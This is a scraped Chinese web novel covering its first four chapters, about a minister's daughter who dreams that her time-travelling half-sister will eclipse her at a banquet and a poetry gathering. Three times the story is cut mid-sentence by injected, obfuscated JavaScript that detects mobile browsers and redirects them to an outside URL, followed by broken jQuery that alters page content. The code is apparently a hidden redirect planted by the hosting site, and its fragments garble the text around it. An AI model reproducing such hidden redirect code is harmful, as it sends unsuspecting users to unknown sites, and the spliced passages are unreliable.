《女配掀桌了》 1. 第一章 做梦 正值七月中旬,金乌高挂,天气热得惊人。 整个尚书府唯独湘水亭这儿气候还算怡人,亭子立于水面,总共六角,下面水汽湮漫,游鱼嬉戏,临水楼台,时常送凉风来。 中午谢盈多在这里睡,丫鬟守着,亭子挂着帷幔和熏蚊虫的香囊,往日她能睡上半个多时辰,但这些日子,时常梦魇。 不分白日晚上,只要入睡就做噩梦,谢盈今儿连睡都不敢睡了。 一旦入睡,就来来回回做那些梦,更奇的是,向来做梦都是梦中清醒醒来就忘得彻底,可这些日子做的梦,她现在还记得清清楚楚。 梦里她活在话本子里,女主是她的庶妹谢宜,谢宜有来自千年之后的机遇,读书好,开口就是锦绣文章。头脑好,做生意赚得盆满钵满。命数好,嫁得状元郎成了一品诰命夫人。心地好,帮了很多深陷内宅的妇人。 而她是对照组女配,循规蹈矩不懂变通,把自己依附于男人身上,困在内宅,只做一朵漂亮的菟丝花,没有灵魂,没有自我价值。 偏偏求而不得,嫁入高门不久,夫君就获罪被逐出府。她也跟着被赶出去,一家挤在一个小宅子里。 最后她听谢宜说,只会依附男人,那只能靠山山倒,女子立于世,该有自己的一方天地。 谢盈觉得梦境太过荒诞,梦中她处处与谢宜比较,样样不如,可实际上,她是尚书府嫡女,一向得父母看重,在读书管家没出过一丝错。 而谢宜去学堂三天打鱼两天晒网,说实话,若非做梦,谢盈都没怎么关注过这个庶妹。 原本谢盈只当这是梦,一笑置之也没当回事,可是梦见这些的次数越来越多。 谢盈不解,倘若跟她一点关系都没有,那为何日日梦见。 若梦预示着以后,她难道真的会如梦里那般……梦中走马观花,十几年后,她面容沧桑一头白发,和勇国公世子挤在一处小宅子中,她的子女也都一事无成。 而彼时谢宜已经成了诰命夫人,其子天资聪颖,她回娘家时,父亲和兄长待她亲厚有加。谢宜也住到了她以前住的地方,就是这湘水亭后的照影楼。 谢宜成了天上的云,她成了地上的泥,当真是云泥之别。 谢盈有些怕,怕再梦见这些,昨儿熬了一晚没睡,今日中午也没睡,心中惶惶不安,但她没和任何人说这蹊跷事。 兴许只是她近来休息不好,胡思乱想才做这些梦的,不然为何人人都说日有所思夜有所梦。再说她和谁去说呢,别人听见了,估计只会当是笑话。 谁能信可以通过做梦预知以后,又有谁能信,一个人是从一千多年后的后世而来。 因为做梦,这两日她都称身体不适,在这边养病。这是府里气候最宜的地方,亭旁泰山石矗立,湖面荷花数不胜数,还有名贵的并蒂莲。 作为尚书府的嫡女,得父母看重,她在这儿,其他人都得避而不来。哪个下人都知道府上二小姐天姿国色聪慧好学,是老爷夫人的掌上明珠。 可想想以后,谢盈咬了咬唇,她觉得梦就是梦,她自幼苦读,而谢宜学堂都不常去,别的也就算了,在读书上她怎么可能比不过一个连书本都没怎么摸过的人。 真是太荒唐了。 而且,究竟是多好吃的点心,才会让祖母对谢宜大夸特夸。 谢盈按了按眉心,从榻上起身,少女神色忧愁,可就是这般愁,也只是眼下泛青,蹙着眉,反而因为熬了一晚,眼尾泛红,竟显得水盈盈的。 怎么看都是乌发如云,姿容妍丽,谢盈晨起梳妆对着镜子都不敢想,十几年后那个沧桑妇人是自己。 谢盈坐了一会儿,又犯困,她勉强撑起来,觉得光在这里愁没用,就招呼丫鬟进来。 “照月,你去打听打听,勇国公府世子叫什么,还有城南如云客栈里,是不是有个叫徐子安的读书人。若是有,有几个,都打听清楚些。”谢盈想了想,又嘱咐,“莫要打草惊蛇,回来带盒酥饴斋的点心。” 虽然本朝民俗开放,可这样打听别人,对谢盈来说也是极其不合规矩的事。可她管不了那么多了,不弄清楚她是真的不敢睡觉。 照月点点头,从亭子退出去,出门做事去了。 谢盈捏紧帕子,若名字都对得上,那岂不是说她的梦不是平白无故出现,总是想告诉她点什么。她可不想知晓以后的事,眼下的日子好好的,谁想管以后。 最好是胡乱梦见的,根本没这些人。 谢盈拿了本书看,虽看不进去,也逼着自己读了十几页,她废寝忘食读书都比不过,若不读,就更比不上了。 照水一出去就是两个时辰,等她回来,谢盈忙把书放下,急着发问:“可打听出来了?” 照水道:“姑娘,勇国公府世子叫陆铮。至于如云客栈叫徐子安的有,有两个,其中一个三十岁,读了好多年书。还有一个十七岁,京城固安人士,都是要准备秋闱的。年轻的那个功课不错,听说在固安还是案首。” 马上八月份,秋闱过后就是春闱,当真有徐子安这个人,他就是以后中状元的人,也是京城固安人士。只徐子安一个不稀奇,同名同姓者多的是,可连陆铮这名字都对上了! 可她从未见过陆铮和徐子安,更如论知道二人的名字呢。 谢盈晃了晃,她心一下子跳到了嗓子眼,眼前的景物在眼前晃动,让她分不清这到底是梦还是现实。 照水一惊,忙去扶,“姑娘!” 谢盈抓紧贵妃榻的扶手,摇摇头,“我没事。” 她抬头看了眼天边,烈日灼灼,湖中的荷叶晒得发卷,荷花也歪着头,一副受不住的样子。 怎么可能有那么巧的事,就这么巧全都对上了。 陆铮,徐子安,是她和谢宜日后的夫君。 谢盈放缓呼吸,“今日之事,不许和任何人说。” 照水点点头道:“奴婢下午出门是为姑娘买点心去了。” 谢盈,“嗯,你先下去吧。” 她心里慌得厉害,这会儿只想一个人待着,可是照水却没走,“姑娘这几日都没好好吃饭,睡也睡不踏实,一会儿还是先用些。小厨房煲了鸽子汤,姑娘多少喝一点。不然再煮碗小天酥,姑娘不是最喜欢吃吗。这酥饴斋的点心买回来了,姑娘也尝一块。” 谢盈抿了下唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478956|169986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“……给我拿过来。” 倘若不吃不喝,那岂不是坐以待毙,若是饿死,就真没办法了。 照水一喜,跑回照影楼拿饭,谢盈看着她离开的背影,愈发心神不宁。人怎么能梦到以后发生的事呢,她莫不是被什么妖怪附体了。 对,人怎么能从后世来,谢宜也是妖怪,要去寺庙拜拜吗,可谢盈又怕自己被寺里的和尚当作妖怪。 谢盈狠下心捏了捏自己的胳膊,是疼的。 等鸽子汤拿来,谢盈喝了几口,犹豫半响,她问:“前些日子三妹妹不是落水了吗,身子可大好了。” 谢盈的三妹就是谢宜,谢家子孙按幼齿排序。 谢盈还去看过,也是在那之后,她才频繁地做梦。 谢宜是她庶妹,生母早逝,没娘的孩子无人管束总归是有几分可怜。但有规矩在,又是尚书府的姑娘,过得也不会太差。 梦中说她从千年之后来,到底是离魂去后世游了一圈,还是被鬼上身了…… 在谢盈印象里,谢宜不太爱说话,读书更不用心。听闻前些日子她落水染了风寒,这会儿应该是好了。 照水道:“三姑娘已经大好了,这几日总出门,姑娘与其关心三姑娘还不如多想想老夫人寿宴。” 过几天是谢盈祖母的六十大寿,她这几日被梦魇折磨得饭都吃不下,但寿礼她是早早就准备了,绣了百寿图。 她请垂髫小儿到百岁老人,每人写一寿字,选以金红丝线绣成,寓意祖母长命百岁。 这是谢盈的心意,为了这副绣图,夜里也熬着,时常捻针,手指红了好几日,磨得发疼。 现在只差两个字了。 在没做梦之前,谢盈笃定祖母喜欢这份寿礼,可是,梦里谢宜做了新奇点心,祖母尝过后喜欢得不得了,而她绣的百寿图……祖母垂眼吩咐丫鬟收了起来,根本没仔细看。 这样的事梦里还发生了许多,总是谢宜更招人喜欢。 谢宜送的礼物祖母喜欢那也是她用心,但谢盈不想自己的心意祖母连看都不看。这绣图她从三个月前就开始绣了,明明也是她的心意。 寿宴在三日后,谢盈一时半会儿想不出更好的礼物,打算还是先把百寿图绣完。 其中几个寿字还是她在名家字帖上描下来的,绣线里掺了金线,绝对大方华贵。 可为何祖母不喜欢呢? 不然干脆称病不去了,天热,若像三妹妹那样落水染了风寒,连床都下不去,肯定不能赴宴。到时把礼物送去,也是她一片心意。 可梦中这样的事不少,她可以不去祖母寿宴,以后可以不去爹娘那儿,……难道还能逃得过不嫁人、不出门? 真要当一辈子的缩头乌龟,谢盈不愿意。 谢盈咬牙举起绣图,在阳光下看了看,阳光照耀下,绣图流光溢彩熠熠生辉。 也许不只是因为点心,谢盈道:“照水,你去请府里的绣娘过来。” 她记得祖母寿宴上谢宜身上的衣裳有些朴素,祖母一直拉着谢宜的手说她受委屈了。那她就送一身华丽衣裳,这样总行了吧。 三日后,寿宴在晚上。 2. 第二章 祖母寿宴 宴席在晚上,但一早谢盈就换好了衣裳。 寿辰是喜宴,她今日穿了柿红色的对襟方领灯笼纹云锦衣,下面是栀子黄色绣着织金缠枝花纹的百迭裙,梳了团髻,簪了两支珍珠发钗。 因为休息不好,她还上了脂粉,瞧着铜镜里的自己,样子是好多了。 今日谢盈可谓盛装,她的父亲谢昌韫是吏部尚书,官居三品,是而宴会不仅有谢家亲朋,还有谢父的同僚。 谢母沈氏从半月前就开始操持宴会,谢盈常来帮忙,她自小被沈氏教导管家,如今已有模有样。只不过在梦里,谢宜管家更厉害,还会经营铺子。 想着并不光明的以后,谢盈轻轻叹了口气,先去正院,然后扶着沈氏去前堂,这会儿已有客人了。 一边走,沈氏一边拍拍谢盈的手,“今儿来得人多,给你祖母的寿礼可备好了?” 谢盈:“嗯,女儿绣了一副百寿图,其中几个字还是祖母喜欢的先生写的,想来祖母会喜欢的。” 沈氏点点头,姿态雍容,“今日来赴宴的人多,你跟着你嫂嫂。以往没带你赴宴过,今儿算头一遭,稳妥不出错最好。” 谢盈今年十四岁,一直养在闺阁,这也是到了要议亲的时候了,从前最多让人在外说说女儿聪慧伶俐,今日算是头一回见人。 谢盈点点头,“女儿知道。” 穿过垂花门,沈氏想了想又道:“若是有心仪的男子,先与我说。” 今日来赴宴的,都是和谢家家世相当的。谢昌韫还想再往上爬爬,自然也看重女儿的婚事。府里其他姑娘还小,只谢盈谢宜到了议亲的时候,谢盈是沈氏亲生,沈氏自然偏心自己女儿一些。 谢盈嗯了一声,白皙的下巴低下,梦中她嫁给了勇国公府世子陆铮,这门婚事是父亲母亲的意思,但她也是愿意的。 勇国公府是一等公爵,陆铮相貌堂堂,还有一身武艺。可是二人婚后并不美满,她处处不如别人,而陆铮犯了过错被逐出府,若是母亲再同她说和陆铮的婚事,她会拒绝。 她不想嫁的人,难道还能强绑着她嫁过去? 谢盈和沈氏分开后就去寻她嫂嫂了,只不过人多也没看见,她跟着待客,谢家亲朋她是认识的,把客人引进前堂。见时辰差不多了,谢宜还没来,谢盈吩咐丫鬟去催催。 天色越来越暗,宴席已开场。谢家到处高挂灯笼,好多地方都帖了寿字。赴宴的男女老少都有,老夫人赵氏也出来了,头戴抹额,一身孔雀绿绣云纹的衣裳,慈眉善目很是和善。 拜寿的人络绎不绝,很快就到了子孙献寿礼的时候了,谢盈长兄谢霖送了一尊玉观音,谢盈见还谢宜还没来,只能慢慢上前,“祖母,孙女请了垂髫小儿到百岁老人写的寿字,绣成一副百寿图,望祖母福寿安康。这百寿图后面还有余地,便请祖母日后再写一寿字,等孙女绣上去。” 谢盈身后的照水托着裱好的百寿图上前去,赵氏看了两眼,“不错,难为你有心了。” 谢盈笑了笑,“望祖母年年有今日,岁岁有今朝。” 赵氏笑着点头,其他谢氏子弟已等着了,却独独不见谢宜。 赵氏身后嬷嬷道:“三小姐这还没过来……” 谢盈低头没有说话,很快,她就听见身后大门处一道歌声。 “祝你生日快乐,祝你生日快乐!祝你生日快乐呀祝你生日快乐~” 谢盈回过头,见谢宜穿着一身素色衣裙过来,手上推了个木制小车,车上的是她梦里见过的点心,两层高,最顶层是寿桃样式,上面插了许多蜡烛。 谢宜在众人目光下推着车停到了老夫人面前,“祖母,孙女祝您生辰快乐万寿无疆。” 赵氏没见过这东西,看了一会儿问道:“这是何物?” 谢宜道:“祖母,是我做的,叫做生日蛋糕,传闻对着上面蜡烛许愿,再吹灭蜡烛,愿望就能实现了。祖母您也来试试!” 谢宜笑着过去,拉赵氏站起来,“一会儿由您切蛋糕分给大家吃,让大家沾沾喜气!” 赵氏觉得新奇,真被谢宜拉着走到蛋糕前。 蛋糕上的蜡烛微晃,和谢盈平日见的红烛不一样,这个很细很小,总共六根,恰巧对应了赵氏的岁数。 赵氏闭着眼睛许了个愿,把蜡烛吹灭了。谢宜带头鼓起掌来,“祖母,切蛋糕吧。” 赵氏往年生辰都是中规中矩,今日乐呵乐呵也好,“你这丫头,从哪儿学来的主意。” 谢宜笑着道:“这也是我听别人说的。” 她看了看左右,好奇的有,看热闹的也有,亦有人私下絮语,毕竟以尚书府的家境来说,一道点心实在算不得什么,前面长孙送了玉观音,谢盈送了百寿图,谢宜送的并不贵重,只一道点心,未免显得小家子气。 谢宜不好意思地说道:“孙女身无长物,只想尽一份孝心,祖母莫要嫌弃。” 她低着头,衣着朴素,头上也没什么首饰,一身素色显得淡雅可怜。 可谢盈记得,自己三日前就让绣房给她送了衣裙首饰!况且家规森严,每季都做新衣首饰,还有月银,怎会身无长物无衣可穿。 谢宜故意没有穿。 赵氏闻言瞥了沈氏一眼,宴会盛大,布置体面,却让尚书府的女儿穿这么素净,实在不像话。赵氏心有不悦,只不过众宾客面前不好发作,想想刚谢盈送的百寿图,上面流光溢彩还掺着金线,她的妹妹却连一件像样的衣裳都没有,实在委屈得慌。 赵氏拉着谢宜的手,轻轻拍了拍,“怎会嫌弃,祖母喜欢得不得了。” 这样一来,刚才满意的绣图赵氏也不满意了。 谢宜笑了笑,“祖母喜欢就好。” 她就知道,找赵氏当靠山是对的。穿越来有些日子了,原身落水而亡,她替原身活了下来,养了几日病,这才好。 原身是尚书府的三小姐,虽然出身不错,可却是庶出,亲娘又死了,在府上就是个小透明。 每月月银有十两,可要打点下人开小厨房,谢宜为以后打算,银子可少不了,这十两月钱对她来说完全不够用。 所以谢宜选择讨好赵氏,寿宴就是个好机会。据她所知, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478957|169986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原身的嫡母沈氏娘家是商户,赵氏不喜她一身铜臭气,而沈氏又不理会原身,放任不管。敌人的敌人就是朋友,那讨好老夫人是最简单的。 赵氏招呼谢宜坐到她身边,祖孙俩言笑宴宴。 现实与梦境重叠,不禁谢盈身上一阵阵发冷。 谢盈脸上的笑有些僵,她走上前冲着赵氏低头行礼,“祖母,都是孙女的错。” 赵氏还算喜欢这个孙女,知书懂礼又孝顺,今儿是她寿辰,她也不想发作。“算了,一点小事。你是做姐姐的,平日得多照顾着妹妹一些,别让外人看了笑话。” 谢盈记起梦中,她总是比不过的那个,祖母很是喜欢谢宜,慢慢对她不满,连带着对她母亲也厌恶起来。等十几年后,她母亲被她所累不受待见,而谢宜的亲娘牌位被供入祠堂,连她母亲也要拜见。 谢盈咬咬牙,道:“是,孙女知错了,孙女只给三妹准备了赴宴的衣裳首饰,却忘了做点心需要银子,是我考虑不周。” 谢宜听完,觉得这话不对。是送了衣裳首饰不假,可原身衣柜她看过,何尝穿过那样好的。沈氏商户出身,有大把的银子为谢盈妆扮,可她呢,只能靠着月银度活。 如果她穿了那衣裳,反而成全了沈氏和谢盈的美名,明面上她是跟谢盈一样的尚书府小姐,可实际上,那样的衣服她只有一身。同为府上女儿,待遇却天差地别。 说得好听,是送来一身不假。可过了今日还不是和往常一样,一样的月钱一样的日子,一件衣裳能做什么呢?简直是杯水车薪。 谢宜不想闹大,可是赵氏已经面露沉思,想着谢盈的话究竟是真是假。 赵氏不在乎东西贵不贵重,她这个岁数,也见过了不少好东西。为长辈尽孝最贵重的是心意,若是连送寿礼都要家里给银子,那这寿礼都不知是谁送的,不如不送。 赵氏看了眼那点心,点心不贵重,几日给做完也不算什么新意,只能说新奇。她朝谢盈招招手,“快过来,让祖母看看你,这些日子绣百寿图可累坏了吧。” 谢盈摇摇头说道:“孙女从三个月前就开始准备,就盼着今日送给祖母,累可算不上,能搏祖母一笑,是我的福气。” 谢宜在一旁看着,赵氏由一开始的面露不满到现在对谢盈笑靥如花,这下倒好了,几句话而已。 她刚想说话,谢盈就拉过她的手。 谢盈拉着谢宜的手对赵氏道:“祖母,三妹妹做点心您还没尝呢,快尝尝吧。” 赵氏笑了笑,“是,大家也尝尝宜儿做的点心。” 谢盈分到了一小块点心,不似梦中,她被赵氏指责不顾姐妹情谊,整个宴席都羞愤难当,如今尚且算是个好结局。 她尝了口点心,最外面的一层绵软,还甜甜的,里面也甜,倒是新奇好吃。不过若说多么地惊为天人,那却没有。她觉得,尚没有她喜欢的单笼金乳酥好吃。 谢盈看了这位三妹妹一眼,谢宜一身素雅,这会儿正愣神呢。 谢盈这些日子困于梦魇,日夜担惊受怕,今日见了她,发觉也没有那么可怕。 3. 第三章 诗会 是人,又非洪水猛兽,没什么好怕的。 谢盈笑了笑,再抬头时,瞧见谢宜瞥过来的目光。 有些冷,看着有些瘆人。 谢盈抿直唇,不明白为何谢宜这么看她,难道就许她穿的素净装可怜,不许自己辩驳? 谢宜把目光收了回来,她生日蛋糕做得大,也给众人分下去了,只不过,来的都是名门望族,虽然新奇,却也只是浅尝辄止,根本不像她想得那样,见到生日蛋糕就惊为天人。更有谢韫昌的同僚连看都没看,觥筹交错间高谈阔论,谈笑自若。 谢宜并不高兴,在现代她什么人没见过,刚刚谢盈说的话一股子茶味儿。嘴上说都是自己的错,却指出她没穿送来的新衣,故意穿这么一身赴宴。 绿茶。 谢宜觉得自己是太善良了,倒不如穿了那件衣裳,把衣缝拆线,在大庭广众下出个丑,到时候谢盈这个送衣服的肯定难逃其咎。 谢盈把目光移开,身旁丫鬟喊了一声,她便先去给赵氏敬了酒,然后跟着嫂嫂见了几位客人。 终于得空,才坐下吃了几口菜。 细嚼慢咽下,她在想今日谢宜为何不穿新衣,她让府里绣娘做的,是谢宜的尺寸,必然是合身的。 若急着做点心怕弄脏,大可做完换了,可还是穿着和梦中一般无二的素色衣裳来的,才有了那么一出。 梦中,都是她与谢宜相较,暗中较劲,谢宜什么都不在乎,却什么都有。 才女的名声、银子铺子、美满的婚姻、孝顺的儿女,常说的话是二姐何必与我比这些,自己的日子,还是自己过好最重要。 这话说得没错,可现在看,谢宜也不似梦中那般,什么都不在乎。 宴席结束已经晚了,谢盈回了照影楼。 照影楼坐落在湖旁,前面是湘水亭,后面是府内花园。楼高四层,一楼是小厨房和待客厅,二楼是琴房和书房,三楼是浴室,用作梳妆,四楼才是谢盈休息睡觉的地方。 夏日晚上,萤火漫天,从楼上能俯瞰整个府内的景色,谢盈先去了浴室梳洗,丫鬟早已烧好水,搬来浴桶伺候她沐浴。 脱下厚重的衣裳,谢盈迈进浴桶,桶里有玫瑰花瓣,还倒了牛乳,水淋在身上,更衬得肌肤肤如凝脂。浴室热气腾腾,让谢盈心里舒缓。 这照影楼是她幼时沈氏为她修建的,新颖且别致,府里其他姑娘没有,其他府上的姑娘也没有。 谢盈能住着,是因为她的母亲是沈氏,外祖沈家是富商。 只不过梦里,她和陆铮被赶出了国公府,回娘家她无颜回去,而谢宜就顺理成章地住进了照影楼。 今日之事,她能确信是谢宜有意为之,可若真的缺钱,也情有可原。谢盈想试一试,她吩咐丫鬟,“照水,你明日去给三妹妹送些银子。” 照水问:“姑娘,送多少?” “三十两。” 谢盈有沈氏贴补,还有每月十两的月钱,自是不缺银子。若三十两能买以后安心,何乐而不为。若是送了银子,谢宜还做什么事,那就不能用缺钱解释了。 沐浴过后,谢盈靠在床边,照水为她绞干头发,等丫鬟退下,谢盈深吸一口气,睡吧。 这几日还是一直做梦,希望今儿不会再做梦了。 梦中,谢宜笑着吟诗,她微扬着头,眸子里有光,出口成章。 ——君不见,黄河之水天上来,奔流到海不复回。君不见,高堂明镜悲白发,朝如青丝暮成雪! ——落霞与孤鹜齐飞,秋水共长天一色。 ——海内存知己,天涯若比邻。 ——黄四娘家花满蹊,千朵万朵压枝低。 ——杨花落尽子规啼,闻道龙标过五溪。 次日,天还是热,丫鬟早在屋里摆了冰,谢盈坐在书桌前,把梦里的诗句都默了下来。 谢盈的字很漂亮,习的是赵体,经年苦练已有小成,赵氏很喜欢的一位先生就夸过她的字有骨有形。 这些诗句是梦中谢宜在众人面前吟的,而后人们争相传诵,也尽显谢宜才女名声。 诗是好诗,可是,她不知道黄河是什么河,黄四娘又是谁。 而且谢盈只在书上看见过海,至今没亲眼见过,谢宜是何时见过海的。 更何况,这些诗句意境不同,尤其是那句“落霞与孤鹜齐飞,秋水共长天一色” ,这看着并非是诗句,倒像是哪篇文章中的。 而最后那句,谢盈翻遍典籍,也问了好几个丫鬟,都不知龙标五溪是什么地方,这两个应该是地名吧。 抛除谢盈看不懂的地名和人名,这诗写得的确是好极了。梦中谢宜吟诗,其他人争相抄录,若非诗不好,也不会有人抄诵。 * 溶月轩内,谢宜正托着下巴想什么法子能赚钱? 赵氏那暂且去不成,起码得昨儿的事忘了之后再过去,等这事儿过了,多给送些点心吃食,日久见人心,老夫人一定会喜欢她的。 但如今她是真的缺银子,那时病刚好,刚穿越来心里好奇,总要出府玩,再加上给赵氏做生辰蛋糕,买那些材料,这个月月钱已花得差不多了。 谢宜以前是个博主,会烤点心会做菜,古代人没见过这些新奇又好吃的东西,她也想拿出去卖,可是她连开铺子点本钱都没有。 要不然做读书人的生意,她打听过这个朝代叫雍朝,但以前的历史书上没有,而且她问了丫鬟,连李白、白居易这些诗人都没有。她大可做个文抄公,把那些诗词写出来印刷成册,然后拿去卖。 可她不会写繁体字,就算会写,光靠写诗赚的钱未免太少了,一旦印刷成册,别人也能抄写,倒不如把这些记到自己名字上。 说不准能靠这些诗句躺平到老。 谢宜躺在床上,百无聊赖地想着这些,屋里丫鬟进来通禀,“三姑娘,二姑娘身边的照水过来了。” 谢宜翻身起来,但没下床,“请进来。” 照水端着一个紫檀木托盘来,上面盖了红布,她先给谢宜请了安,然后道:“三姑娘,我们姑娘体贴您给老夫人置办寿礼,这月月钱也该花得差不多了,特地让奴婢送了些银子过来。” 谢宜皱了皱眉,她从昨儿就知道,这个嫡姐是个绿茶,这般青天白日给她送银子,无非是作秀,让别人看看自己是个好姐姐,和那日送衣裳的目的一样。 但她才不和银子过不去,谢宜道:“我收下了,你替我去谢谢二姐姐。” 照水道了声是,而后恭敬退下,回到照影楼,她去了二楼,跟谢盈如实禀告,“三姑娘收下了。” 谢盈松了一口气,“收下就好,照水,你过去的时候,三妹妹在做什么?” 照水道:“奴婢过去的时候,三姑娘在榻上坐着。” 谢盈看了眼自己手边的书,她今儿一上午都在看书,谢宜吟的诗几首诗现在也能倒背如流。 她不禁问:“你前几日去客栈时,那边的学生多不多,都在做什么?” 照水回想了一番,“多,都在屋子里温书。” 这就对了。 谢盈看了眼黄历,今儿是七月二十三,离秋闱不足一个月,学生们都在温书,不然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好是极好,可越看她眉头皱得越深,一个人到底是经历了什么才能写下这样的诗词——梦里挑灯看剑,梦回吹角连营。八百里分麾下炙,五十弦翻塞外声,沙场秋点兵。 谢盈读这首时好像身临其境,好像真的听见了兵戟相交的声音,千万将士随着号角声上战场征战。 更离奇的是,前面还说采菊东篱下,悠然见南山,后面就写商女不知亡国恨,隔江犹唱后庭花。 谢盈在“□□花”三字上画了个圈,这又是什么,是一首曲子吗,商女是歌女,□□花应该是什么淫词艳曲。 这些诗词谢盈左看右看,都不像出自一人之口。 这般看着,照水进来通禀,“姑娘,二姑娘身边的如月过来了。” 谢盈把这些诗作收起来,点了点头,“传。” 如月个子小样貌乖巧可爱,府上姑娘一人四个丫鬟,但谢盈身边还有两个嬷嬷,是沈氏给她的。 如月行了一礼,“二姑娘,我们姑娘想问问二姑娘可收到城南如云客栈举办诗会的帖子。” 谢盈看了如月一眼,“收到了,三妹问这作甚。” 如月道:“我们姑娘说,若姑娘决定要去,可否搭她一程。我们姑娘没有马车,实在不便过去,二姑娘要是去,正好顺路过去。” 谢盈记得梦中二人是在诗会相遇,为何这次与梦中不同? 她想弄清楚,便点了点头,“嗯,到时候让三妹去马房等着就好。” 祖母寿宴已经和梦中不同,既然如此,那之后发生的事和梦里有所差别也说得过去,没什么是一成不变的。 4. 第四章 斗诗 如月应了声是,谢盈又道:“若三妹下次出门,府里也有车,不必委屈了自己。” 谢盈的马车是沈氏安排的,为了方便出门,不过府里也有车,下次谢宜想要出门,去马房说一声就好。 如月怔了怔,“是。” 谢宜知道谢盈会答应的,原身的姐姐爱在众人面前表现做好事,是个绿茶,所以她将计就计,顺道搭车,花谢盈的银子,想来谢盈那么想当个好姐姐,肯定不会拒绝。 果然不出她所料。 谢宜让丫鬟出们打听过这场诗会,京城才子云集,来赴考学生也多,正是她为诗册造势的好时候。那些学生再有才名,能比得过诗仙诗圣? 她还听说谢盈在外有美名,说她才貌双绝,既然谢盈那么心善,那在外被自己压一头,想来也会真的为她高兴吧。 离诗会还有几日,谢宜却不急,白日时常出门。在古代,没有现代那些娱乐设施,若再不出门,她能憋死。她想要的躺平的日子是有钱有颜,每日吃喝玩乐,而又不是真在床上躺着,那叫什么躺平,那叫坐牢。 谢宜还算满意自己现在的生活,原身长得漂亮,出身在这古代尚且算不错,只不过家里规矩多,晨昏定省缺一不可,月钱十两不算少,可开销大。唯一好的一点是沈氏不限制她出门,想出门了让丫鬟去正院说一声就行,还算自由。 谢宜现在盼着早日出嫁,自己能当家作主,到时候就没这么多规矩了。她现在也不想做生意,都在一个府上,她怕做成了最后被家里给占了去。 诗会谢宜并不担心,到时候随机应变即可,大不了不出头,这种机会多的是。 而谢盈的日子就按部就班了,每日先给长辈请安,然后要么在湘水亭,要么在照影楼,看书抚琴一日不敢懈怠。 世上又不只有谢宜一个人,总不能因为她比不上谢宜,就书不读了,琴谱也不看了。人外有人山外有山,如果那样做,谢盈只会看不起自己。 沈氏对女儿这样甚至满意,能沉得住性子,而且在赵氏寿宴上,做得不错。沈氏不至于和谢宜一个孩子计较什么,但满意谢盈可以站出来说话,没被谢宜绕进去。 已有人来打听谢盈的婚事,不过沈氏都是搪塞女儿还小,尚且不急。才十四岁,再留几年也未尝不可,何必着急议亲。而且这两日沈氏忙着管理府上下人,省着眼高手低,连主子都敢怠慢。 打发了几个懒散的下人,沈氏吩咐身边丫鬟,“小厨房是不是做了单笼金乳酥,二姑娘喜欢,给送些过去。” 丫鬟笑着道:“今儿还做了金银夹花,奴婢一会儿就送到照影楼,给二姑娘尝尝。” 沈氏:“她怕热,用些冰就好,嘱咐她别贪凉总在湘水亭,那边水汽重。” 两小盘点心摆在照影楼三楼书房,谢盈看着两盘点心心中一暖,她一样尝了几口,前者是牛乳蒸就,工序繁琐,一大碗牛乳就出一小块。而金银夹花是蟹黄蟹肉卷,这会儿还不是吃蟹的时候,但庄子有,多用几只蟹也能做这道点心。 谢盈爱吃点心,沈氏一直记着她的喜好。 谢盈把银汤匙放下,梦里除了沈氏,也有人记着,可是梦就只是梦。 七月底,马上就八月份了,天气早晚转凉,可白日依旧热。 今日京城的如云客栈举办诗会,很早就有帖子送来到尚书府来,一早谢盈就出门了,到了马房却不见谢宜。 既说了要带她过去,总不能先走,等了有一刻钟,谢宜来了,但她今儿穿了一身男子装扮。 头发束起,着了一件清水蓝的长袍。细腰被腰带束起,不盈一握。谢宜未施脂粉,看着明媚可人。手拿折扇,也有少年的风流气。只不过谢宜耳朵上有环痕,腰身也比一般男子细,虽穿了男装,可一眼就能看出是女儿身。 而且还因为穿了男装,身形尽显。 谢盈皱着眉道:“三妹妹,时辰还早,不然回去换一身衣裳?” 谢宜笑着道:“二姐,今日赴诗会,着男装方便些。” 她啪地一声打开折扇,冲着谢盈笑了笑,世家女重规矩,指定没见过这些。 谢盈见劝不动,不再执着,“那走吧。” 照水扶着她上车,很快谢宜也上来了。 这几日谢宜出门都是靠两条腿,今儿还是头一回走马车。 马车很宽敞,中间还摆了张小桌子,上面固定着托盘。随着马车晃动,托盘上的茶杯茶壶却不动,想来是有凹槽给固定住。这车可真好,座垫是绸缎,靠垫也是绸缎缝的。 谢盈上了车就闭目养神,这几日也做梦,她休息不好。 谢宜看了一会儿就不再多看,很快,马车就到了城南的如云客栈。 虽然京城的城北较之城南更富庶,可最热闹的地方在城南,这如云客栈也是京城最大的客栈。 客栈旁停着许多辆马车,车夫把马车停在了路边,下车之后谢盈就对谢宜道:“三妹妹,我在二楼订了一间雅间,开着窗正好能看见下面,妹妹可要同去?” 梦中谢盈只在一楼选了个位置,谢宜也在一楼,二人不过是恰巧碰上,今日同来,谢宜又说着男装方便,没准儿还想在一楼。 谢宜笑了笑,“那再好不过了,多谢二姐姐。” 